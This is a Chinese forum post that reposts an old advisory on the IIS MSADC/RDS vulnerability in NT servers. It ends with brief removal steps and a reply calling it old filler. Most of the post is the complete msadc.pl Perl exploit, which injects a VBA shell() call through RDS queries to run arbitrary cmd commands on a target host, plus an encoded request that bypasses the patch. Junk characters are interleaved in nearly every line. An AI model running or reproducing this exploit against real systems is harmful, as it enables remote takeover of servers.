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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) T3po.Km\{  
 _@es9  
涉及程序: ENu`@S='I3  
Microsoft NT server Cj).  
|ocIp/ $  
描述: mKWfRx*UdG  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 C)^FRnb  
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详细: ml7nt 0{  
如果你没有时间读详细内容的话,就删除: @V$,H/v:  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 8o' a  
有关的安全问题就没有了。 ?O1:-vpZ  
-$pS {q;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 u15-|i{y7  
KX*Hev'K  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ;K[ G]8  
关于利用ODBC远程漏洞的描述,请参看: L||_Jsu  
z-(#Mlq:!  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm RusC5\BUX  
]7WBoC8  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 }5n((7@X  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp y w"Tw  
(W~jr-O^  
这里不再论述。 >`rK=?12<  
by*>w/@9)k  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: :SxOQ(n  
Mwdh]I,#  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset [BS3y`c  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! w, 0tY=h6  
YJgw%UVJ5m  
VdpkE0  
#将下面这段保存为txt文件,然后: "perl -x 文件名" z-G|EAON"/  
U_a)g X  
#!perl L2ePWctq}  
# %gd=d0vm  
# MSADC/RDS 'usage' (aka exploit) script o l 67x  
# G9\Bi-'ul  
# by rain.forest.puppy #8;|_RU  
# ]pLQ;7f7D  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me |(Zv g}c_  
# beta test and find errors! K?')#%Z/{#  
RL>Nl ow  
use Socket; use Getopt::Std; 5GK=R aV  
getopts("e:vd:h:XR", \%args); 2,Y8ML<  
N" |^AF  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; `Rj<qz^7  
3j.Ft*SV  
if (!defined $args{h} && !defined $args{R}) { v _Bu  
print qq~ k4_Fn61J/  
Usage: msadc.pl -h <host> { -d <delay> -X -v } "s$v?voo  
-h <host> = host you want to scan (ip or domain) 1Giy|;2/  
-d <seconds> = delay between calls, default 1 second u(JC 4w'  
-X = dump Index Server path table, if available 52B ye   
-v = verbose hCO*gtA)M  
-e = external dictionary file for step 5 6G"AP~|0  
*BVkviqxz  
Or a -R will resume a command session ).eT~e Gj  
sm}q&m]ad  
~; exit;} {+f@7^/i.  
uF>I0J#z?  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; =SLP}bP{:  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} p#.B Fy  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} XgKtg-,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 9bjjo;A  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} i;^ e6A>  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } LBtVK, ?  
M;W{A)0i1  
if (!defined $args{R}){ $ret = &has_msadc; 9\*xK%T+  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} zMX7 #,  
!TY4C`/  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" \s;]Tg  
. "cmd /c ";  ,[ +  
$in=<STDIN>; chomp $in; P0$q{ j  
$command="cmd /c " . $in ; u;DF$   
aPB %6c=  
if (defined $args{R}) {&load; exit;} o_U=]mEDY  
9;Ezm<VQ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 0 TSj]{[  
&try_btcustmr; xc R  
.hgc1  
print "\nStep 2: Trying to make our own DSN..."; v%> ?~`Y  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?[Q;275  
EF0{o_  
print "\nStep 3: Trying known DSNs..."; n6WSTh  
&known_dsn; 4UoUuKzt  
pRXA!QfO  
print "\nStep 4: Trying known .mdbs..."; j._9;HifZ  
&known_mdb; ltt%X].[  
V~5vVY_HG&  
if (defined $args{e}){ ))!Z2PfD  
print "\nStep 5: Trying dictionary of DSN names..."; %Ua*}C   
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } +IVVsVp  
Kv+E"2d  
print "Sorry Charley...maybe next time?\n"; g=pz&cz;>\  
exit; tjOfekU  
8_f0P8R!y  
############################################################################## df#DKV:  
pw:<a2.  
sub sendraw { # ripped and modded from whisker  yyk[oH-Q  
sleep($delay); # it's a DoS on the server! At least on mine... :RHNV  
my ($pstr)=@_; PiI ):B>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =b,$jCv<,5  
die("Socket problems\n"); [?W3XUJ,Y  
if(connect(S,pack "SnA4x8",2,80,$target)){ L3nHvKA]  
select(S); $|=1; 5gI@~h S  
print $pstr; my @in=<S>; xpFu$2T6P.  
select(STDOUT); close(S); e}/c`7M  
return @in; ,{itnKJC  
} else { die("Can't connect...\n"); }} Dc oTa-~  
j]J2,J  
############################################################################## qfppJ8L  
?C.C?h6F5B  
sub make_header { # make the HTTP request "eI-Y`O,  
my $msadc=<<EOT gU>Y  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 \UJ:PW$7  
User-Agent: ACTIVEDATA *~4uF  
Host: $ip S7wZCQe  
Content-Length: $clen EPI mh  
Connection: Keep-Alive  ceVej'  
l/LRr.x  
ADCClientVersion:01.06 {FQ dDIj#  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~,R_  
lhQ*;dMj%"  
--!ADM!ROX!YOUR!WORLD! H) q9.Jg  
Content-Type: application/x-varg bLu6|YB  
Content-Length: $reqlen &[S)zR=?  
PKdM-R'Z  
EOT l:Ci'=  
; $msadc=~s/\n/\r\n/g; .d8) *  
return $msadc;} `mw@"  
^fnRzX  
############################################################################## ^ 9;s nr  
q7 Uu 8JXF  
sub make_req { # make the RDS request O|7q,bEm^  
my ($switch, $p1, $p2)=@_; |[!xLqG  
my $req=""; my $t1, $t2, $query, $dsn; <%pi*:E|  
$6fHY\i#R  
if ($switch==1){ # this is the btcustmr.mdb query }qV4]*+{  
$query="Select * from Customers where City=" . make_shell(); ]o,)#/' $  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . sS5#Q  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} $Ae/NwIlc  
6EX:qp^`  
elsif ($switch==2){ # this is general make table query =\X<UA}  
$query="create table AZZ (B int, C varchar(10))"; JEJ] '3  
$dsn="$p1";} ?/dz!{JC  
~Gwn||g78  
elsif ($switch==3){ # this is general exploit table query 4 D\_[(P  
$query="select * from AZZ where C=" . make_shell();  PJk Mn  
$dsn="$p1";} T'Jw\u>"R  
 r) X?H  
elsif ($switch==4){ # attempt to hork file info from index server J=4S\0Z*  
$query="select path from scope()"; *WX6C("M  
$dsn="Provider=MSIDXS;";} +#&2*nY  
b;soMilz  
elsif ($switch==5){ # bad query ctt5t  
$query="select"; ;C{ 2*0"H|  
$dsn="$p1";} Ih,~h[  
C:4h  
$t1= make_unicode($query); Zls4@/\Q  
$t2= make_unicode($dsn); <PV @JJ"  
$req = "\x02\x00\x03\x00"; !7%L%~z^  
$req.= "\x08\x00" . pack ("S1", length($t1)); k(VA5upCs  
$req.= "\x00\x00" . $t1 ; aN;L5;m#>{  
$req.= "\x08\x00" . pack ("S1", length($t2)); Q~-gtEv+&  
$req.= "\x00\x00" . $t2 ; 7;|6g8=  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ;PS [VdV  
return $req;} dC,F?^  
uu#ALB Jm  
############################################################################## PFEi=}Y@((  
lX5(KUN  
sub make_shell { # this makes the shell() statement b GwLfU  
return "'|shell(\"$command\")|'";} /tt  
d6hWmZVC  
############################################################################## P\N`E?lJL  
g-*@I`k[  
sub make_unicode { # quick little function to convert to unicode h+Dg"j<[  
my ($in)=@_; my $out; II~D66 bF  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } sF|<m)Kt{W  
return $out;} zhN'@Wj'_  
]4z?sk@  
############################################################################## b;x^>(It  
O^:Rm=,$  
sub rdo_success { # checks for RDO return success (this is kludge) d(To)ly.  
my (@in) = @_; my $base=content_start(@in); u1]5qtg"  
if($in[$base]=~/multipart\/mixed/){ $fn Fi|-  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} R )?8A\<E  
return 0;} <'GI<Hc  
u :m]-'  
############################################################################## Q3oVl^q  
?'h@!F%R'  
sub make_dsn { # this makes a DSN for us =gfLl1wY[  
my @drives=("c","d","e","f"); 38Wv&!  
print "\nMaking DSN: "; 2]> s@?[  
foreach $drive (@drives) { ~"=nt@M]  
print "$drive: "; }GGFJ"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . /ebYk-c  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" $,h*xb.  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); uOW9FAW  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ~@sx}u  
return 0 if $2 eq "404"; # not found/doesn't exist %?RX}37K  
if($2 eq "200") { YtIJJH  
foreach $line (@results) { yiI&>J))  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7 v`Y*D  
} return 0;} pQEHWq"Q  
},[j+wx  
############################################################################## DUW;G9LP$-  
I{1w8m4O6  
sub verify_exists { ;o8cfD.z  
my ($page)=@_; ?,s{M^sj^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); X8*q[@$  
return $results[0];} -M[5K/[  
wetkmd  
############################################################################## M}@^8  
dmE-W S  
sub try_btcustmr { `9 $?g|rB  
my @drives=("c","d","e","f"); KN+*_L-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jkPXkysm  
n}?kQOg0/  
foreach $dir (@dirs) { M)3h 4yQ  
print "$dir -> "; # fun status so you can see progress P^1rNB  
foreach $drive (@drives) { ^. Pn)J  
print "$drive: "; # ditto 1 k H  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; :l*wf/&z  
$reqlenlen=length( "$reqlen" ); F /t;y\)  
$clen= 206 + $reqlenlen + $reqlen; {OQ sGyR?  
9$d (`-&9p  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Dy8Go4  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} EzthRe9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} du47la 3  
tpCEWdn5  
############################################################################## d5WE^H)E.  
I#9K/[  
sub odbc_error { =#>P !  
my (@in)=@_; my $base; uswz@ [pa  
my $base = content_start(@in); lkl#AH  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ,cbP yg  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2poU \|H  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _ k>j?j-  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /?by4v73P  
return $in[$base+4].$in[$base+5].$in[$base+6];} 1bvL  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9`vse>,-hg  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2@A7i<p  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ;N4mR6  
s!UC{)g,  
############################################################################## dn5T7a~   
/+66y=`UJ  
sub verbose { /=-E`%R}!  
my ($in)=@_; 2U#OBvNU  
return if !$verbose; @c.QrKSaD  
print STDOUT "\n$in\n";} ,sJ{2,]~  
tc# rL   
############################################################################## guf+AVPno  
~%GUc ~  
sub save { 5a_K|(~3I  
my ($p1, $p2, $p3, $p4)=@_; U>:p`@  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; A}oR,$D-  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; cvc.-7IO  
close OUT;} B|!YGf L  
[.6uw=;o  
############################################################################## ]aaHb  
5@Rf]'1B0  
sub load { 0ED(e1K#B  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; wGbD%=  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 7AtJ6  
@p=<IN>; close(IN); 7Qq>?H -  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ^ *m;![$[  
$target= inet_aton($ip) || die("inet_aton problems"); &uk?1Z#j  
print "Resuming to $ip ..."; i@d!g"tot  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; zJ@f {RWZa  
if($p[1]==1) { lYq R6^  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; "_5av!;A g  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; BeplS  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); )~!Gs/w6  
if (rdo_success(@results)){print "Success!\n";} <hS >L1ZSr  
else { print "failed\n"; verbose(odbc_error(@results));}} 9BHl 2<&V  
elsif ($p[1]==3){ @3b0hi4  
if(run_query("$p[3]")){ II[qWs>RG[  
print "Success!\n";} else { print "failed\n"; }} YJr@4!j*  
elsif ($p[1]==4){ dyu~T{  
if(run_query($drvst . "$p[3]")){ BDcl1f T  
print "Success!\n"; } else { print "failed\n"; }} 'JRkS'ay  
exit;} "*TnkFTR  
a*vi&$@`Z1  
############################################################################## Y}F+4   
Z;Tjjws  
sub create_table { 4J_18.JHP  
my ($in)=@_; h`jtmhoz  
$reqlen=length( make_req(2,$in,"") ) - 28; m#8mU,7  
$reqlenlen=length( "$reqlen" ); Ak|j J  
$clen= 206 + $reqlenlen + $reqlen; jQ`cfE$sV  
my @results=sendraw(make_header() . make_req(2,$in,"")); gKBcD\F  
return 1 if rdo_success(@results); Dwwh;B  
my $temp= odbc_error(@results); verbose($temp); ;i Ud3 '*  
return 1 if $temp=~/Table 'AZZ' already exists/; ~9x$tb x-  
return 0;} (8{h I  
t'7)aJMP  
############################################################################## 4UG7{[!+  
o3%+FWrVTS  
sub known_dsn { 'p {>zQ\5  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 3D%I=p(  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", H?O*  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", X;zy1ZH  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); [t?ftS  
!9V_U  
foreach $dSn (@dsns) { M|76,2u   
print "."; j >P>MdZtk  
next if (!is_access("DSN=$dSn")); BcA:M\dK%  
if(create_table("DSN=$dSn")){ B;_M52-B  
print "$dSn successful\n"; .K:>`~<)  
if(run_query("DSN=$dSn")){ G$`/86A)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4. R >mN[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} `) K1[&  
LVO`+:  
############################################################################## -w^E~J0*L  
.7cQKdvcC  
sub is_access { Rz%+E0  
my ($in)=@_; |8V+(Vzl  
$reqlen=length( make_req(5,$in,"") ) - 28; \W #M]Q  
$reqlenlen=length( "$reqlen" ); MheP@ [w|@  
$clen= 206 + $reqlenlen + $reqlen; s{hJ"lv:  
my @results=sendraw(make_header() . make_req(5,$in,"")); Z wIsEJz  
my $temp= odbc_error(@results); 'rU 5VrK  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); h.G/HHz  
return 0;} oXb}6YC  
[%Y Cupr#  
############################################################################## !a4pKN`qLY  
d94Lc-kq^  
sub run_query { _[IN9ZC2G  
my ($in)=@_; 6?(*:}Q  
$reqlen=length( make_req(3,$in,"") ) - 28; }&EPH}V2n  
$reqlenlen=length( "$reqlen" ); CA:t](xqQ  
$clen= 206 + $reqlenlen + $reqlen; }6ec2I%`o  
my @results=sendraw(make_header() . make_req(3,$in,"")); keCM}V`?"  
return 1 if rdo_success(@results); J`V7FlM  
my $temp= odbc_error(@results); verbose($temp); 6fQQKM@a|  
return 0;} vvdC.4O  
W aks*^|  
############################################################################## r!j_KiUy  
~eE2!/%9  
sub known_mdb { z l@ <X0q  
my @drives=("c","d","e","f","g"); {n2jAR9nq  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =][[TH  
my $dir, $drive, $mdb; f~8Xue,l"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; >`\~=ivrD  
62a{Ggs{  
# this is sparse, because I don't know of many '}]w=2Lf  
my @sysmdbs=( "\\catroot\\icatalog.mdb", mI?AI7DqK  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", YzsHec  
"\\system32\\certmdb.mdb", ,in`JM<o  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 'tp+g3V  
s#-`,jqD  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ~B|K]&/]  
"\\cfusion\\cfapps\\forums\\forums_.mdb", -hyY5!rD  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", M~p=OM<  
"\\cfusion\\cfapps\\security\\realm_.mdb", +-K-CXt  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8^^Xr  
"\\cfusion\\database\\cfexamples.mdb", 4GeWo@8h  
"\\cfusion\\database\\cfsnippets.mdb", ;1K.SDj  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", x4R[Q&:M  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", U $e-e/  
"\\cfusion\\brighttiger\\database\\cleam.mdb", !&?(ty^F  
"\\cfusion\\database\\smpolicy.mdb", 0P&rTtU6  
"\\cfusion\\database\cypress.mdb", 3zv_q&+8b  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", -h8A<  
"\\website\\cgi-win\\dbsample.mdb", @6(4}&sEdm  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", >o%.`)Ar  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" c$bb0J%  
); #these are just 45q-x_  
foreach $drive (@drives) { fPa FL}&  
foreach $dir (@dirs){ Q4}2-}|  
foreach $mdb (@sysmdbs) { :a nUr<  
print "."; Z^>{bW  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =P-kb^s  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; )lBke*j~  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ .Hc]?R ]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; +Ae4LeVzc  
} else { print "Something's borked. Use verbose next time\n"; }}}}} N'=8Dj  
k7'B5zVd  
foreach $drive (@drives) { ;| )&aTdH  
foreach $mdb (@mdbs) { [N'YFb3"O  
print "."; M')f,5i&$  
if(create_table($drv . $drive . $dir . $mdb)){ rp{q.fy'U  
print "\n" . $drive . $dir . $mdb . " successful\n"; K!0vvP2H  
if(run_query($drv . $drive . $dir . $mdb)){ DO8@/W( `  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; QI.{M$,m~  
} else { print "Something's borked. Use verbose next time\n"; }}}} OpW4@le_r  
} 9)];l?l  
+MvcW.W~  
############################################################################## Qis[j-?:  
u @?n3l  
sub hork_idx { oZQ% P  
print "\nAttempting to dump Index Server tables...\n"; LlrUJ-uC7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Xg_M{t  
$reqlen=length( make_req(4,"","") ) - 28; f{t5r  
$reqlenlen=length( "$reqlen" ); z~# .Ey  
$clen= 206 + $reqlenlen + $reqlen; _ 2R;@[f2  
my @results=sendraw2(make_header() . make_req(4,"","")); ~jQ|X?tR  
if (rdo_success(@results)){ 7%b?[}y4  
my $max=@results; my $c; my %d; mr,IP=e~  
for($c=19; $c<$max; $c++){ Sbc  
$results[$c]=~s/\x00//g; /YKg.DA|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Q~MV0<{  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; q5p!Ty"  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ,73J#  
$d{"$1$2"}="";} pIXbr($  
foreach $c (keys %d){ print "$c\n"; }  ") q  
} else {print "Index server doesn't seem to be installed.\n"; }} LK-2e$1  
)Gi!wm>zvN  
############################################################################## 2g$PEwXe  
>;-.rJFr  
sub dsn_dict { x_GD  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); A9`& Wnw?  
while(<IN>){ /5b,&  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; :* 4b,P  
next if (!is_access("DSN=$dSn")); om@GH0o+  
if(create_table("DSN=$dSn")){ Z@4 BTA  
print "$dSn successful\n"; 'avzESe~'  
if(run_query("DSN=$dSn")){ S%uwQ!=O8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *9Ej fs7L  
print "Something's borked. Use verbose next time\n";}}} ]+@@{?0  
print "\n"; close(IN);} Bvk 8b  
s{#rCc)  
############################################################################## P+tRxpz  
+*Y/+.4WE$  
sub sendraw2 { # ripped and modded from whisker F=?0:2P0bD  
sleep($delay); # it's a DoS on the server! At least on mine... b= amd*  
my ($pstr)=@_; x|g>Zd/n  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || V+G.TI P  
die("Socket problems\n"); nd_+g2x'  
if(connect(S,pack "SnA4x8",2,80,$target)){ \qj4v^\  
print "Connected. Getting data"; 5?9K%x'b  
open(OUT,">raw.out"); my @in; TmZ sC5  
select(S); $|=1; print $pstr; |=&[sC  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} j> Ce06G  
close(OUT); select(STDOUT); close(S); return @in; plcz m 2  
} else { die("Can't connect...\n"); }} uQk}  
Gi]R8?M  
############################################################################## !~#zH0#  
Ac{"$P`  
sub content_start { # this will take in the server headers VbLwhA2W}F  
my (@in)=@_; my $c; }TfZ7~o[  
for ($c=1;$c<500;$c++) { `=TV4h4  
if($in[$c] =~/^\x0d\x0a/){ P_6JweN  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } L?:.8k`d  
else { return $c+1; }}} cih[A2lp  
return -1;} # it should never get here actually Q"rQVO  
hA 1_zKZ  
############################################################################## !6.}{6b  
}rK9M$2]u  
sub funky { ;7=pNK  
my (@in)=@_; my $error=odbc_error(@in); Y<0}z>^  
if($error=~/ADO could not find the specified provider/){ <~s{&cL!%#  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; *f<+yF{=A  
exit;} .S4c<pMap  
if($error=~/A Handler is required/){ Y=0D[o8  
print "\nServer has custom handler filters (they most likely are patched)\n"; #2 Gy=GvV  
exit;} 7-S?\:J  
if($error=~/specified Handler has denied Access/){ b{4@ ~>i  
print "\nServer has custom handler filters (they most likely are patched)\n"; +OEqDXR+_  
exit;}} nbd-f6F6  
UaA1HZ1  
############################################################################## K X0{dizZ  
nD#QC=}  
sub has_msadc { W5a7HkM  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); '$nm~z,V  
my $base=content_start(@results); &}}UdJ`  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); fib#)KE  
return 0;} d!>.$|b  
vNo(`~]c  
######################## T'C^,,if  
'Z ;8-1M?O  
:]]#X ~J  
解决方案: X 0\O3l* j  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll LKC^Y) 6o  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 GQ -fEIi{  
E]@$,)nC  
拿出来充数 哈哈
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